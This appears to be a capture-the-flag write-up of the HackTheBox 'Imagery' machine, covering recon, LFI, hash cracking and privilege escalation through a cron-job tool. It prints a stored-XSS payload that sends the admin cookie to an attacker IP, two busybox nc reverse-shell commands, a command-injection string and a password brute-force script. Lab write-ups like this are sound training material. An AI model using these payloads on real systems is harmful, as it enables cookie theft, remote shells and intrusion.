Table of Contents
Scope:
10.10.11.88

Recon

Nmap

Terminal window
sudo nmap -sV -sC -sT -p- imagery.htb -T5 --min-rate=5000 -vvvv -Pn
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)
8000/tcp open http syn-ack Werkzeug httpd 3.1.3 (Python 3.12.7)
|_http-title: Image Gallery
|_http-server-header: Werkzeug/3.1.3 Python/3.12.7
| http-methods:
|_ Supported Methods: HEAD GET OPTIONS
9001/tcp open http syn-ack SimpleHTTPServer 0.6 (Python 3.12.7)
|_http-title: Directory listing for /
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: SimpleHTTP/0.6 Python/3.12.7
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We notice 2 python webservers running as well as a ssh port.

I quickly check out both to see the difference:

I download the .zip and head on over to the 8000 port.

I couldn’t access the .zip yet since it’s encrypted with an AES encryption which meant we’d need the password first.

8000/TCP - HTTP

I can register for an account here:

Here I filled in the following creds for testing:

tester@test.com
Tester123!

In response I get the following GET request:

I noticed the isAdmin:false thus tried to manipulate it with an intercept:

However this just pops an error:

I went ahead and signed in to the account and once logged in was greeted with this dashboard:

At first glance this looks like a file upload attack.

We can upload images and down at the bottom I notice the Uploading as Account ID:

On upload I could view the image:

I could then either Download or Delete it.

Here arises the problem, the website isn’t running on php so uploading a php webshell will be pointless. I started testing for other vulnerabilities.

API source code

By checking the source code I discovered that apparently the first user to be registered will be an Admin user:

Scrolling further down I find the following in the JS script:

It looks like there’s a bug reporting functionality, as well as an admin panel.

I checked out the API:

It appears that we are not the first user to be registered then. I scrolled to the bottom of the home page and found the quick link to the bug reporting functionality:

Exploitation

Stored XSS

I tested out the functionality of the form:

I went on to test some XSS payloads:

This didn’t give me any callback though. I checked out the source code again:

data.bug_reports.forEach(report => {
const reportCard = document.createElement('div');
reportCard.className = 'bg-white p-6 rounded-xl shadow-md border-l-4 border-purple-500 flex justify-between items-center';
reportCard.innerHTML = `
<div>
<p class="text-sm text-gray-500 mb-2">Report ID: ${DOMPurify.sanitize(report.id)}</p>
<p class="text-sm text-gray-500 mb-2">
Submitted by: ${DOMPurify.sanitize(report.reporter)}
(ID: ${DOMPurify.sanitize(report.reporterDisplayId)}) on ${new Date(report.timestamp).toLocaleString()}
</p>
<h3 class="text-xl font-semibold text-gray-800 mb-3">Bug Name: ${DOMPurify.sanitize(report.name)}</h3>
<h3 class="text-xl font-semibold text-gray-800 mb-3">Bug Details:</h3>
<div class="bg-gray-100 p-4 rounded-lg overflow-auto max-h-48 text-gray-700 break-words">
${report.details}
</div>
</div>
<button onclick="showDeleteBugReportConfirmation('${DOMPurify.sanitize(report.id)}')"
class="bg-red-500 hover:bg-red-600 text-white font-bold py-2 px-4 rounded-lg shadow-md transition duration-200 ml-4">
Delete
</button>
`;
bugReportsList.appendChild(reportCard);
});

We can exploit it and catch the admin cookie:

Terminal window
<img src=x onerror=\"fetch('http://10.10.14.42/c=' + document.cookie)\">

I inserted this cookie and was now able to access the Admin Panel:

Inside the admin panel we notice all the previously found API endpoints:

I downloaded one of the logs and noticed something right away:

We get a log_identifier parameter, it looks like it fetches local files. We can logically test for LFI now.

LFI

It worked right away, awesome. Right away I noticed 2 users:

web
mark

I tried fetching their id_rsa but this didn’t work.

Using this cheatsheet I then found a useful endpoint:

Looking further in the /proc directory I found the /proc/self/cwd/config.py endpoint which referenced the db.json database which contained data for the website:

The hash for testuser is easily cracked:

iambatman

Unfortunately I could not password spray as the ssh port did not allow password auth:

I thus decided to login to the web page using the testuser creds instead:

I tried out uploading an image again and this time around there’s more functionalities:

I could for example transform the image, e.g. crop it:

By applying the transformation I saw the following request:

Command Injection

I tried out to inject arbitrary commands:

This showed me that it tried to execute the command but failed. This is because it wants to append another command/file afterwards as shown by the +0.

Thus I tried out appending a #:

Even though it did not show any response it did not fail this time.

Foothold

Shell as web

I could finally form the following command in order to achieve a reverse shell:

Terminal window
"x":"8;bash -c 'busybox nc 10.10.14.42 80 -e bash' #",

However I was not able to get the user.txt flag yet. For this I had to move laterally to mark.

Enumeration

I transferred over some tools to enumerate the system:

linpeas

Some of the findings included:

I then found an interesting cron job which showed up as a PE vector:

Inside the file we find a set of creds:

admin@imagery.htb
strongsandofbeach

However other than that there was nothing inside this file. The creds couldn’t be sprayed either against the other users:

Instead I went ahead and checked out the other cron job, which uses tar to make a backup of the /home directory.

I downloaded over the zip file:

Using strings I analyzed the file:

Apparently it’s encrypted using pyAesCrypt 6.1.1

We can install the package as follows:

I then used the following script to brute force the password:

#!/usr/bin/env python3
import pyAesCrypt
import traceback
GREEN = "\033[92m"
RESET = "\033[0m"
buffer_size = 64 * 1024
encrypted_file = "web_20250806_120723.zip.aes"
output_file = "decrypted.zip"
wordlist = "/usr/share/wordlists/rockyou.txt"
def try_password(pwd):
try:
pyAesCrypt.decryptFile(encrypted_file, output_file, pwd.strip(), buffer_size)
return True
except Exception:
return False
with open(wordlist, "r", encoding="latin-1") as wl:
for password in wl:
password = password.strip()
try:
if try_password(password):
print(f"{GREEN}[+] Password found: {password}{RESET}")
print("[✓] Decryption finished, check out output file.")
break
except KeyboardInterrupt:
print("\n[!] Interrupted.")
break
except Exception:
# silent fail for noisy errors
pass
else:
print("[-] Password not found.")

The output is absolutely massive:

This was a complete backup of the /web directory. Luckily for us it also contained the original version of the db.json file, containing multiple credential sets:

The password is easily cracked

supersmash

Lateral Movement to mark

Using the password I move laterally:

A non-default binary is found, I’ll focus on it after fetching the user.txt flag.

user.txt

Privilege Escalation

charcol

I check out the binary

Since I didn’t know the password I used the -R flag:

I could then start it up in interactive mode:

After using the help command I skim the manual, noticing the cron jobs tab:

I will abuse this to add the following cron job which will give me a root shell.

Terminal window
auto add --schedule "* * * * *" --command "bash -c 'busybox nc 10.10.14.42 443 -e bash'" --name "hack"

After waiting for a short while:

root.txt


My avatar

Thanks for reading my blog post! Feel free to check out my other posts or contact me via the social links in the footer.


More Posts

Comments